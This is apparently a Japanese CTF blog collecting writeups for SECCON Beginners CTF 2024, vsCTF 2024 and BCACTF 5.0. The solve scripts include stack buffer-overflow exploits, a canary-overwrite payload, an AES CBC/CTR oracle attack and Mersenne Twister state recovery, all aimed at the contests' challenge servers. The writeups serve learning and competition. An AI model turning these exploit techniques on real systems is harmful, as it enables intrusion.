SECCON Beginners CTF 2024 Writeup

この大会は2024/6/15 14:00(JST)~2024/6/16 14:00(JST)に開催されました。
今回は個人で参戦。結果は361点で962チーム中251位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (welcome)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

ctf4b{Welcome_to_SECCON_Beginners_CTF_2024}

getRank (misc)

main.rsを見るとこう書いてある。

const RANKING = [10 ** 255, 1000, 100, 10, 1, 0];

type Res = {
  rank: number;
  message: string;
};

function ranking(score: number): Res {
  const getRank = (score: number) => {
    const rank = RANKING.findIndex((r) => score > r);
    return rank === -1 ? RANKING.length + 1 : rank + 1;
  };

  const rank = getRank(score);
  if (rank === 1) {
    return {
      rank,
      message: process.env.FLAG || "fake{fake_flag}",
    };
  } else {
    return {
      rank,
      message: `You got rank ${rank}!`,
    };
  }
}

function chall(input: string): Res {
  if (input.length > 300) {
    return {
      rank: -1,
      message: "Input too long",
    };
  }

  let score = parseInt(input);
  if (isNaN(score)) {
    return {
      rank: -1,
      message: "Invalid score",
    };
  }
  if (score > 10 ** 255) {
    // hmm...your score is too big?
    // you need a handicap!
    for (let i = 0; i < 100; i++) {
      score = Math.floor(score / 10);
    }
  }

  return ranking(score);
}

index.htmlを見るとこう書いてある。

      function getRank() {
        const rankElement = document.getElementById("rank");
        const messageElement = document.getElementById("message");

        fetch("/", {
          method: "POST",
          headers: {
            "Content-Type": "application/json",
          },
          body: JSON.stringify({ input: `${score}` }),
        })
          .then((response) => response.json())
          .then((data) => {
            rankElement.textContent = data.rank ?? "-1";
            messageElement.textContent =
              data.message ?? "Error occurred.";
          })
          .catch((error) => {
            rankElement.textContent = "-1";
            messageElement.textContent = "Error occurred.";
            console.error(error);
          });
      }

直接scoreを指定して、メッセージを取得する。なお、scoreは10**255より大きい場合は、1/10を100回行い、長さで300を超えない範囲では10進数で指定できないので、16進数で指定する。

$ curl https://getrank.beginners.seccon.games/ -H "Content-Type: application/json" -d '{"input": "0x9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999"}'  
{"rank":1,"message":"ctf4b{15_my_5c0r3_700000_b1g?}"}
ctf4b{15_my_5c0r3_700000_b1g?}

clamre (misc)

flag.ldbを見ると、以下のような正規表現が書いてある。

/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/

順に文字を確認していく。

(\x63\x74\x66)
>>> "\x63\x74\x66"
'ctf'

(\x62)
>>> "\x62"
'b'

(\x72)
>>> "\x72"
'r'

(\x33)
>>> "\x33"
'3'

\3
インデックス3の値のため、'4'になる。

(\x6b1)
>>> "\x6b1"
'k1'

(\x6e\x67)
>>> "\x6e\x67"
'ng'

(\x5f)
>>> "\x5f"
'_'

\3
インデックス3の値のため、'4'になる。

(\x6c)
>>> "\x6c"
'l'

\11
インデックス11の値のため、'\x6c'(='l')になる。

\10
インデックス10の値のため、'\x5f'(='_')になる。

(\x54\x68)
>>> "\x54\x68"
'Th'

\7
インデックス7の値のため、'\x33'(='3')になる。

\10
インデックス10の値のため、'\x5f'(='_')になる。

(\x480)
>>> "\x480"
'H0'

(\x75)
>>> "\x75"
'u'

\7
インデックス7の値のため、'\x33'(='3')になる。

\10
インデックス10の値のため、'\x5f'(='_')になる。

(\x52)
>>> "\x52"
'R'

\14
インデックス14の値のため、'\x75'(='u')になる。

\11
インデックス11の値のため、'\x6c'(='l')になる。

\7
インデックス7の値のため、'\x33'(='3')になる。
ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}

simpleoverflow (pwnable)

10バイトを超え、任意の文字を入力すると、BOFでis_adminが上書きされ、フラグが読める。

$ nc simpleoverflow.beginners.seccon.games 9000
name:aaaaaaaaaaa
Hello, aaaaaaaaaaa

ctf4b{0n_y0ur_m4rk}
ctf4b{0n_y0ur_m4rk}

simpleoverwrite (pwnable)

$ ./chall
input:aaaaaaaaaaaaaaaaaaABCD
Hello, aaaaaaaaaaaaaaaaaaABCD

return to: 0x7f0a44434241
zsh: segmentation fault  ./chall

BOFでwin関数をコールすればよい。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('simpleoverwrite.beginners.seccon.games', 9001)
else:
    p = process('./chall')

elf = ELF('./chall')

win_addr = elf.symbols['win']

payload = b'A' * 18
payload += p64(win_addr)

data = p.recvuntil(b':').decode()
print(data, end='')
print(payload)
p.sendline(payload)
for _ in range(3):
    data = p.recvline().rstrip()
    print(data)

実行結果は以下の通り。

[+] Opening connection to simpleoverwrite.beginners.seccon.games on port 9001: Done
[*] '/mnt/hgfs/Shared/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
input:b'AAAAAAAAAAAAAAAAAA\x86\x11@\x00\x00\x00\x00\x00'
b'Hello, AAAAAAAAAAAAAAAAAA\x86\x11@'
b'return to: 0x401186'
b'ctf4b{B3l13v3_4g41n}'
[*] Closed connection to simpleoverwrite.beginners.seccon.games port 9001
ctf4b{B3l13v3_4g41n}

Safe Prime (crypto)

RSA暗号で、pとqは以下の関係があることがわかる。

q = 2 * p + 1

n = p * q であることから、以下のようにpの2次方程式にすることができる。

p * (2 * p + 1) = n

これを解けば、pがわかり、nを素因数分解することができる。あとは通常通り、RSA暗号の復号を行えば、フラグが得られる。

#!/usr/bin/env python3
from Crypto.Util.number import *
import sympy

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

e = 65537
n = int(params[0].split(' ')[-1])
c = int(params[1].split(' ')[-1])

p = sympy.Symbol('p')
eq = p * (2 * p + 1) - n
sol = sympy.solve(eq)
for p in sol:
    if p > 0:
        break

p = int(p)
q = n // p
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}

vsCTF 2024 Writeup

この大会は2024/6/15 1:00(JST)~2024/6/16 1:00(JST)に開催されました。
今回もチームで参戦。結果は2165点で964チーム中98位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (web)

ブラウザ上で右クリックやデベロッパーツールが使えないので、curlでアクセスする。

$ curl https://sanity-check.vsc.tf/
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Sanity Check</title>
    <style>
        body {
            background-color: #000021;
            font-family: "JetBrains Mono", monospace;
        }

        h1 {
            background: linear-gradient(to right, #fe5d00, #fe8c00);
            background-clip: text;
            -webkit-background-clip: text;
            color: transparent;
            text-align: center;
        }

        .centered {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
        }
    </style>
    <script>
        setInterval("debugger", 10)
    </script>
</head>

<body oncontextmenu="return false">
    <script>
        document.addEventListener('contextmenu', (e) => {
            e.preventDefault();
        }
        );
        document.onkeydown = function (e) {
            if (event.keyCode == 123) {
                return false;
            }
            if (e.ctrlKey && e.shiftKey && e.keyCode == 'I'.charCodeAt(0)) {
                return false;
            }
            if (e.ctrlKey && e.shiftKey && e.keyCode == 'C'.charCodeAt(0)) {
                return false;
            }
            if (e.ctrlKey && e.shiftKey && e.keyCode == 'J'.charCodeAt(0)) {
                return false;
            }
            if (e.ctrlKey && e.keyCode == 'U'.charCodeAt(0)) {
                return false;
            }
        }
    </script>
    <div class="centered">
        <h1>you know what to do</h1>
        <!-- vsctf{c0ngratulati0ns_y0u_viewed_the_s0urc3!...welcome_to_vsctf_2024!} -->
    </div>
</body>

</html>

コメントにフラグが書いてあった。

vsctf{c0ngratulati0ns_y0u_viewed_the_s0urc3!...welcome_to_vsctf_2024!}

Discord (misc)

Discordに入り、#announcementsチャネルのメッセージを見たら、フラグが書いてあった。

vsctf{welcome_to_vsctf_2024!}

baby-game (algo)

1行目にセルの縦の長さ=横の長さが表示される。次の行にCaring Koalaの位置(x1, y1)、Red Pandaの位置(x2, y2)としてx1 y1 x2 y2が表示される。Caring Koalaから縦横に交互に動き、同じ位置に追いついたら、勝ちになるので、勝つ方を表示するプログラムをSubmitして正しければ、フラグが表示される。
お互いに近づいて行って、どうなるかを見てみる。
2x2で以下の左端の配置の場合、以下のようにC(Caring Koala)から進み、R(Red Panda)が相手のマスに入り、勝つ。

_ C   C _
R _   R _

3x3の以下の左端の配置の場合、以下のようにC(Caring Koala)から進み、C(Caring Koala)が相手のマスに入り、勝つ。

_ C _  C _ _  C _ _
_ _ _  _ _ _  R _ _
R _ _  R _ _  _ _ _

初期位置が(x1, y1), (x2, y2)で、|x1 - x2| + |y1 - y2|が偶数の場合Red Pandaが勝ち、奇数の場合Caring Koalaが勝つ。このことを前提にプログラムを作成する。
以下のコードをSubmitしたら、フラグが表示された。

#include <iostream>
using namespace std;
int main() {
    int n;
    int x1, x2, y1, y2, diff;

    scanf("%d", &n);
    scanf("%d %d %d %d", &x1, &y1, &x2, &y2);
    diff = x1 - x2 + y1 - y2;
    if (diff % 2 == 0) {
        cout << "Red Panda" << endl;
    } else {
        cout << "Caring Koala" << endl;
    }

    return 0;
}
vsctf{baby_game_pure_luck_uwu}

intro-reversing (rev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int local_c;
  
  for (local_c = 0; local_c < 0x8ae; local_c = local_c + 0xca) {
    printf("%.*s\n",0xca,flag + local_c);
    sleep(0xb1aaf);
  }
  return 0;
}

sleepの該当箇所のアセンブリは以下のようになっている。

        001011a6 bf af 1a        MOV        EDI,0xb1aaf
                 0b 00
        001011ab e8 c0 fe        CALL       <EXTERNAL>::sleep                                uint sleep(uint __seconds)
                 ff ff

sleepの時間が長いので、バイナリの該当箇所を以下のように書き換えて、0にする。

bf af 1a 0b 00 -> bf 00 00 00 00

書き換えたバイナリを実行すると、ASCIIアートでフラグが現れた。

$ ./chall_mod
                                 /$$      /$$$$$$   /$$$   /$$          /$$$$$$$$         /$$$$$$                  /$$$$$$              /$$$$$$  /$$$$$$$  /$$$$$$$   /$$                       /$$ /$$$  
                                | $$     /$$__  $$ /$$_/ /$$$$         |__  $$__/        /$$$_  $$                /$$__  $$            /$$__  $$| $$__  $$| $$____/ /$$$$                      | $$|_  $$ 
 /$$    /$$ /$$$$$$$  /$$$$$$$ /$$$$$$  | $$  \__/| $$  |_  $$   /$$$$$$$ | $$  /$$$$$$ | $$$$\ $$        /$$$$$$|__/  \ $$ /$$    /$$|__/  \ $$| $$  \ $$| $$     |_  $$   /$$$$$$$   /$$$$$$ | $$  | $$ 
|  $$  /$$//$$_____/ /$$_____/|_  $$_/  | $$$$    /$$$    | $$  | $$__  $$| $$ /$$__  $$| $$ $$ $$       /$$__  $$  /$$$$$/|  $$  /$$/   /$$$$$/| $$$$$$$/| $$$$$$$  | $$  | $$__  $$ /$$__  $$| $$  | $$$
 \  $$/$$/|  $$$$$$ | $$        | $$    | $$_/   |  $$    | $$  | $$  \ $$| $$| $$  \__/| $$\ $$$$      | $$  \__/ |___  $$ \  $$/$$/   |___  $$| $$__  $$|_____  $$ | $$  | $$  \ $$| $$  \ $$|__/  | $$/
  \  $$$/  \____  $$| $$        | $$ /$$| $$      \ $$    | $$  | $$  | $$| $$| $$      | $$ \ $$$      | $$      /$$  \ $$  \  $$$/   /$$  \ $$| $$  \ $$ /$$  \ $$ | $$  | $$  | $$| $$  | $$      | $$ 
   \  $/   /$$$$$$$/|  $$$$$$$  |  $$$$/| $$      |  $$$ /$$$$$$| $$  | $$| $$| $$      |  $$$$$$/      | $$     |  $$$$$$/   \  $/   |  $$$$$$/| $$  | $$|  $$$$$$//$$$$$$| $$  | $$|  $$$$$$$ /$$ /$$$/ 
    \_/   |_______/  \_______/   \___/  |__/       \___/|______/|__/  |__/|__/|__/       \______//$$$$$$|__/      \______/     \_/     \______/ |__/  |__/ \______/|______/|__/  |__/ \____  $$|__/|___/  
                                                                                                |______/                                                                              /$$  \ $$           
                                                                                                                                                                                     |  $$$$$$/           
                                                                                                                                                                                      \______/            
vsctf{1nTr0_r3v3R51ng!}

not-quite-caesar (crypto)

flagの各文字のASCIIコードxに対して、x+3, x-3, x*3, x^3のいずれかをランダムに行っている。ただし、seedを使っているので、どの計算をしているのかがわかり、逆算してフラグがわかる。

#!/usr/bin/env python3
import random

random.seed(1337)

rev_ops = [
    lambda x: x - 3,
    lambda x: x + 3,
    lambda x: x // 3,
    lambda x: x ^ 3,
]

with open('out.txt', 'r') as f:
    out = eval(f.read())

flag = ''
for o in out:
    flag += chr(random.choice(rev_ops)(o))
print(flag)
vsctf{looks_like_ceasar_but_isnt_a655563a0a62ef74}

aes-but-twice (crypto)

サーバの処理概要は以下の通り。

・nonce: ランダム8バイト文字列
・iv: ランダム16バイト文字列
・key: ランダム16バイト文字列
・CTR_ENC: key, nonceを使ったAES CTRモード暗号化オブジェクト
・CBC_ENC: key, ivを使ったAES CBCモード暗号化オブジェクト
・flag: flagをパディング
・ctr_encrypt(flag)を表示
 ・flagをパディングし、CTR_ENCでAES CTRモード暗号化し、16進数表記にしたものを表示
・cbc_encrypt(flag)を表示
 ・flagをパディングし、CBC_ENCでAES CBCモード暗号化し、16進数表記にしたものを表示
・nonceを16進数表記で表示
・以下繰り返し
 ・inp: 入力
 ・inpが"exit"の場合、繰り返し終了
 ・data: inpをhexデコード
 ・ctr_encrypt(data)を表示
 ・cbc_encrypt(data)を表示
$ nc vsc.tf 5000
f1d134fdbf36b95cbd1fc416b39d8f05e5f6963f4421588742386cfbccb3e7bc3a2df0e071c3f5c70b92dae860c612dc4c2360eaf3b8724c9fc1ab2e7ccc89de
d85b2aebd762788b3673e2ea899c66a18f3db18e81d6650072268d095d71fd93474a496a9606abcdfc5265237a2e90301d935afe61538070fc37f43489c47a81
7a79e0630b0f0d06
11111111
a47d282d91e4ded1a5fbc982f37211e9
54b915c2c6ba7bd6f7fea68c73c02ee0
11111111
867e7ff320220a03e80502273f17760f
51c8d1869666406a2e58f9c9c43f373f

flagをパディングしたものをFFF...FFF(48バイト)とすると、FFF...FFF(48バイト)をパディングしたものは以下の通りとなる。

FLAG = FFF...FFF(48バイト) + "\x10" * 16

NNNNNNNNをnonce、FLAGnをFLAGのnブロック目とすると以下のようなイメージになる。

AES暗号化(CTRモード)
NNNNNNNN\x00....\x00\x00 --(AES暗号化)--> TMP_CT0 ^ FLAG0 = CT1_0
NNNNNNNN\x00....\x00\x01 --(AES暗号化)--> TMP_CT1 ^ FLAG1 = CT1_1
NNNNNNNN\x00....\x00\x02 --(AES暗号化)--> TMP_CT2 ^ FLAG2 = CT1_2
NNNNNNNN\x00....\x00\x03 --(AES暗号化)--> TMP_CT3 ^ FLAG3 = CT1_3

AES暗号化(CBCモード)
FLAG0 ^ IV    --(AES暗号化)--> CT2_0
FLAG1 ^ CT2_0 --(AES暗号化)--> CT2_1
FLAG2 ^ CT2_1 --(AES暗号化)--> CT2_2
FLAG3 ^ CT2_2 --(AES暗号化)--> CT2_3

NNNNNNNN\x00....\x00\x00のAES暗号化を求めれば、XORでFLAG0を求めることができる。
CBCモードは最後のブロックの暗号化がIVとなって、次のブロックを暗号化するので、以下の通りとなるよう平文を指定すれば、その暗号化データを取得できる。

PT0 ^ IV = NNNNNNNN\x00....\x00\x00

同様に他のブロックも計算すれば、FLAGを求めることができ、アンパディングすればflagになる。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor
from Crypto.Util.Padding import unpad

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('vsc.tf', 5000))

data = recvuntil(s, b'\n').rstrip()
print(data)
ctr_enc_flag = bytes.fromhex(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
cbc_enc_flag = bytes.fromhex(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
nonce = bytes.fromhex(data)

iv = cbc_enc_flag[-16:]
flag = b''
for i in range(len(ctr_enc_flag) // 16 - 1):
    pt = strxor(nonce + i.to_bytes(8, 'big'), iv).hex()
    print(pt)
    s.sendall(pt.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    tmp_ct = bytes.fromhex(data[:32])
    iv  = bytes.fromhex(data[32:])
    flag_part = strxor(tmp_ct, ctr_enc_flag[i*16:i*16+16])
    flag += flag_part

flag = unpad(flag, 16).decode()
print(flag)

実行結果は以下の通り。

d8105edd4cfe36caf245a2315f71269594c2fbaa9fa8c907e8e12309dd05014d973df1c66f8470adfbd8b6aa644abca6cddeba94208f8ba25403ea8c2bc6bc28
f7f5aa05293e5b001a9e2b33fda03f911d290764dc4743cb622114804db03d528bee586e44e145f7cca8406b1210fb1330d7571c3decb78ffe32a6f8026dcc04
f14df5a7c6efb154
c19aa2bbfb0306dbfe32a6f8026dcc04
ecc42332313815abd726875466c6a6f7613ca4032838cbdcaa96657f292b5663
ae633da92a855bafad32c75f001244f6de1f1d57a6cdb16edb136e55cd7e5bcf
2f52e8f06022003adb136e55cd7e5bce
3344b25be8b6483b977d6e342a72ff6ca986c6eb327babcf0c921542871f0d59
cbf49892aa9dfd32dbd01438eb3639290df05d396349386377c89d5dcc6b65e2
fcbda89ea5a6893777c89d5dcc6b65e0
aa3001cb9f76194d774a3b15d51d48344c191d8cc331eabc4c680711347fa6ac
a240ffc8618a7ea3f5d6b8a46a44b2a820108a480b351a0a1fb3cb6261a68cfd
vsctf{me_wen_cbc_6c855453171638d5}
vsctf{me_wen_cbc_6c855453171638d5}

dream (crypto)

サーバの処理概要は以下の通り。

・seed: seed.txtの内容
・seed: seedを数値化したもの
・seedをシードとしてランダム設定
・idxs: 配列入力
・idxsの長さが8より大きい場合、終了
・idxが0~623に対して、以下を実行
 ・rand_out: ランダム32ビット整数
 ・idx が idxs に含まれている場合、rand_outを表示
・key: ランダム256ビット整数
・nonce: ランダム256ビット整数
・aes_key: keyを文字列としたsha256ダイジェストの先頭16バイト
・aes_nonce: nonceを文字列としたsha256ダイジェストの先頭16バイト
・aes_key, aes_nonceを使ってパディングしたフラグをAES GCMモード暗号化して16進数表記で表示

78回アクセスすれば、必要なランダム値を入手できるので、Mersenne Twisterの特性からkey, nonceを取得できる。あとはそれを使って、AES GCMモードの復号をすれば、フラグがわかる。

#!/usr/bin/env python3
import socket
import random
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from hashlib import sha256

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def untemper(rand):
    rand ^= rand >> 18;
    rand ^= (rand << 15) & 0xefc60000;
 
    a = rand ^ ((rand << 7) & 0x9d2c5680);
    b = rand ^ ((a << 7) & 0x9d2c5680);
    c = rand ^ ((b << 7) & 0x9d2c5680);
    d = rand ^ ((c << 7) & 0x9d2c5680);
    rand = rand ^ ((d << 7) & 0x9d2c5680);
 
    rand ^= ((rand ^ (rand >> 11)) >> 11);
    return rand

N = 624
state = []
for i in range(624 // 8):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('vsc.tf', 5001))

    idxs = [j for j in range(i * 8, i * 8 + 8)]

    data = recvuntil(s, b'>>> ')
    print(data + str(idxs))
    s.sendall(str(idxs).encode() + b'\n')

    for j in range(8):
        data = recvuntil(s, b'\n').rstrip()
        print(data)
        state.append(untemper(int(data)))

    if len(state) == N:
        data = recvuntil(s, b'\n').rstrip()
        print(data)
        enc_flag = bytes.fromhex(data)

    s.close()

state.append(N)
random.setstate([3, tuple(state), None])

key = random.getrandbits(256)
nonce = random.getrandbits(256)
aes_key = sha256(str(key).encode()).digest()[:16]
aes_nonce = sha256(str(nonce).encode()).digest()[:16]
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=aes_nonce)
flag = unpad(cipher.decrypt(enc_flag), 16).decode()
print(flag)

実行結果は以下の通り。

>>> [0, 1, 2, 3, 4, 5, 6, 7]
475736381
2599178730
639420308
1400092731
2055728736
3311659743
3349287473
3292155355
>>> [8, 9, 10, 11, 12, 13, 14, 15]
3972270152
3453764163
774805574
1416637968
1686108321
2690133874
2498232095
247303664
>>> [16, 17, 18, 19, 20, 21, 22, 23]
4130893192
3985880470
1585398883
1755674673
3083186055
1418857434
736357969
3074716874
        :
        :
379443684
2558372521
705855492
292749589
3239662607
3073875086
3509591978
458422530
>>> [608, 609, 610, 611, 612, 613, 614, 615]
1938171477
2450633279
3509420931
1402183533
2579036895
182179989
799027111
2248812622
>>> [616, 617, 618, 619, 620, 621, 622, 623]
1171136879
634080450
3657292713
1917859602
2761658247
93487198
327330884
1608754247
cb3cc14d2f5eeac6b5645bb66fa268d88399d1654df20668110e1d04bf135db71930985b5eba307c0197b035f2e9203f
vsctf{dream_luck???_5e3ec2f2d338fc9f}
vsctf{dream_luck???_5e3ec2f2d338fc9f}

BCACTF 5.0 Writeup

この大会は2024/6/7 22:37(JST)~2024/6/9 22:37(JST)に開催されました。
今回もチームで参戦。結果は2685点で823チーム中42位でした。
自分で解けた問題をWriteupとして書いておきます。

Discord (misc 10)

Discordに入り、#announcementsチャネルのメッセージにフラグが書いてあった。

bcactf{w3lc0m3_t0_bC@c7F_5_fby4uf4dijreferuvg}

This is NOT the flag (misc 25)

$ echo -n bcactf | base64
YmNhY3Rm
>>> from string import *
>>> chars = ascii_uppercase + ascii_lowercase + digits + '+/'
>>> chars.index('Y')
24
>>> chars.index('n')
39
>>> chars.index('m')
38
>>> chars.index('Z')
25
>>> chars.index('N')
13
>>> chars.index('y')
50

期待するbase64文字列の文字は暗号文字列の文字と、インデックスについて和が63になる。これで全体のbase64文字列を割り出し、デコードする。

#!/usr/bin/env python3
from string import *
from base64 import *

chars = ascii_uppercase + ascii_lowercase + digits + '+/'

with open('NOTflag.txt', 'r') as f:
    ct = f.read()

pt = b64encode(b'bcactf').decode()
key = chars.index(pt[0]) + chars.index(ct[0])

b64 = ''
for c in ct:
    index = key - chars.index(c)
    b64 += chars[index]

flag = b64decode(b64).decode()
print(flag)
bcactf{7hIs_1s_7h3_fla9}

Inaccessible (binex 50)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  puts("No flag for you >:(");
  return 0;
}

void win(void)

{
  long lVar1;
  char cVar2;
  char cVar3;
  int iVar4;
  void *pvVar5;
  byte local_58 [48];
  long local_28;
  int local_1c;
  
  pvVar5 = (void *)0x0;
  memset(local_58,0,0x28);
  for (local_1c = 0; local_1c < 0x25; local_1c = local_1c + 1) {
    lVar1 = *(long *)(b + (long)local_1c * 8);
    iVar4 = f(local_1c + 1);
    local_28 = lVar1 / (long)iVar4;
    cVar3 = f((int)(char)i2[local_1c]);
    cVar2 = (char)local_28;
    iVar4 = c((void *)(ulong)(uint)(int)(char)i4[local_1c],pvVar5);
    local_58[local_1c] = (char)iVar4 + cVar3 + cVar2;
    local_58[local_1c] = ~local_58[local_1c];
  }
  puts((char *)local_58);
  return;
}

win関数を呼び出せばよい。_start関数のアセンブリを見てみる。

                             //
                             // .text 
                             // SHT_PROGBITS  [0x400440 - 0x400741]
                             // ram:00400440-ram:00400741
                             //
                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined processEntry _start()
             undefined         AL:1           <RETURN>
             undefined8        Stack[-0x10]:8 local_10                                XREF[1]:     0040044e(*)  
                             _start                                          XREF[5]:     Entry Point(*), 00400018(*), 
                                                                                          0040077c, 004007d8(*), 
                                                                                          _elfSectionHeaders::00000310(*)  
        00400440 31 ed           XOR        EBP,EBP
        00400442 49 89 d1        MOV        R9,RDX
        00400445 5e              POP        RSI
        00400446 48 89 e2        MOV        RDX,RSP
        00400449 48 83 e4 f0     AND        RSP,-0x10
        0040044d 50              PUSH       RAX
        0040044e 54              PUSH       RSP=>local_10
        0040044f 49 c7 c0        MOV        R8,__libc_csu_fini
                 40 07 40 00
        00400456 48 c7 c1        MOV        RCX,__libc_csu_init
                 d0 06 40 00
        0040045d 48 c7 c7        MOV        RDI,main
                 b8 06 40 00
        00400464 e8 b7 ff        CALL       <EXTERNAL>::__libc_start_main                    undefined __libc_start_main()
                 ff ff
        00400469 f4              HLT
        0040046a 66              ??         66h    f
        0040046b 0f              ??         0Fh
        0040046c 1f              ??         1Fh
        0040046d 44              ??         44h    D
        0040046e 00              ??         00h
        0040046f 00              ??         00h

以下の部分は呼び出すmain関数のアドレス0x4006b8を示している。

        0040045d 48 c7 c7        MOV        RDI,main
                 b8 06 40 00

win関数のアドレスは0x4005eaなので、該当する部分を ea 05 40 00 に書き換え、実行する。

$ ./chall_mod
bcactf{W0w_Y0u_m4d3_iT_b810c453a9ac9}
bcactf{W0w_Y0u_m4d3_iT_b810c453a9ac9}

Canary Keeper (binex 100)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  undefined8 uVar2;
  char local_98 [73];
  undefined4 local_4f;
  undefined2 local_4b;
  undefined local_49;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  undefined8 local_10;
  
  local_48 = 0x47414c46;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  local_10 = 0;
  local_4f = 0x616e6163;
  local_4b = 0x7972;
  local_49 = 0;
  printf("Enter a string: ");
  gets(local_98);
  iVar1 = check_canary(&local_4f);
  if (iVar1 == 0) {
    puts("Buffer overflow detected!");
    uVar2 = 1;
  }
  else {
    iVar1 = check_flag(&local_48);
    if (iVar1 == 0) {
      printf("Flag: %s\n",&DAT_0010200c);
      uVar2 = 0;
    }
    else {
      puts("No changes in flag detected!");
      uVar2 = 1;
    }
  }
  return uVar2;
}

bool check_canary(char *param_1)

{
  int iVar1;
  
  iVar1 = strcmp(param_1,"canary");
  return iVar1 == 0;
}

bool check_flag(char *param_1)

{
  int iVar1;
  
  iVar1 = strcmp(param_1,"FLAG");
  return iVar1 == 0;
}

"canary"を同じ文字列で上書きし、"FLAG"を書き換えればよい。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('challs.bcactf.com', 31615)
else:
    p = process('./provided')

payload = b'A' * 73
payload += b'canary\x00\x00'

data = p.recvuntil(b': ').decode()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to challs.bcactf.com on port 31615: Done
Enter a string: 
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcanary\x00\x00'
Flag: bcactf{s1mple_CANaRY_9b36bd9f3fd2f}
[*] Closed connection to challs.bcactf.com port 31615
bcactf{s1mple_CANaRY_9b36bd9f3fd2f}

My Brain Hurts (rev 25)

Brainf*ck言語のプログラムとアウトプットが添付されている。https://sange.fi/esoteric/brainfuck/impl/interp/i.htmlで入力値を調整しながら、出力が同じになるものを先頭から1文字ずつ探す。

bcactf{Br41n_fcK-1s-fUn}

XOR (rev 50)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  FILE *__stream;
  undefined8 uVar1;
  size_t __n;
  void *__ptr;
  void *__ptr_00;
  
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    puts("Failed to open flag file. Make sure flag.txt exists.");
    uVar1 = 1;
  }
  else {
    fseek(__stream,0,2);
    __n = ftell(__stream);
    fseek(__stream,0,0);
    __ptr = malloc(__n + 1);
    if (__ptr == (void *)0x0) {
      puts("Memory allocation failed for input.");
      fclose(__stream);
      uVar1 = 1;
    }
    else {
      fread(__ptr,1,__n,__stream);
      *(undefined *)((long)__ptr + __n) = 0;
      fclose(__stream);
      __ptr_00 = malloc(__n * 3 + 1);
      if (__ptr_00 == (void *)0x0) {
        puts("Memory allocation failed for output.");
        free(__ptr);
        uVar1 = 1;
      }
      else {
        xorEncrypt(__ptr,__ptr_00,__n);
        printf("Encrypted flag: %s\n",__ptr_00);
        free(__ptr);
        free(__ptr_00);
        uVar1 = 0;
      }
    }
  }
  return uVar1;
}

void xorEncrypt(long param_1,long param_2,ulong param_3)

{
  ulong local_18;
  
  for (local_18 = 0; local_18 < param_3; local_18 = local_18 + 1) {
    sprintf((char *)(param_2 + local_18 * 3),"%02X ",
            (ulong)(uint)(int)(char)("ClkvKOR8JQA1JB731LeGkU7J4d2khDvrOPI63mM7"[local_18 % 0x28] ^
                                    *(byte *)(local_18 + param_1)));
  }
  *(undefined *)(param_2 + param_3 * 3) = 0;
  return;
}
$ nc challs.bcactf.com 32411
Encrypted flag: 21 0F 0A 15 3F 29 29 6B 13 1C 2C 74 7D 30 5E 50 6E 29 2B 24 19 0C 67 7D 05 54 7C 34 5C 13 32 42 29 62 7B 0F 4E

コードから、XOR鍵が"ClkvKOR8JQA1JB731LeGkU7J4d2khDvrOPI63mM7"でフラグを暗号化し、16進数表記したものが上記のデータであることがわかっている。この情報を使ってXORで復号する。

#!/usr/bin/env python3
enc = '21 0F 0A 15 3F 29 29 6B 13 1C 2C 74 7D 30 5E 50 6E 29 2B 24 19 0C 67 7D 05 54 7C 34 5C 13 32 42 29 62 7B 0F 4E'
enc = enc.split(' ')

key = 'ClkvKOR8JQA1JB731LeGkU7J4d2khDvrOPI63mM7'

flag = ''
for i, c in enumerate(enc):
    flag += chr(int(c, 16) ^ ord(key[i % len(key)]))
print(flag)
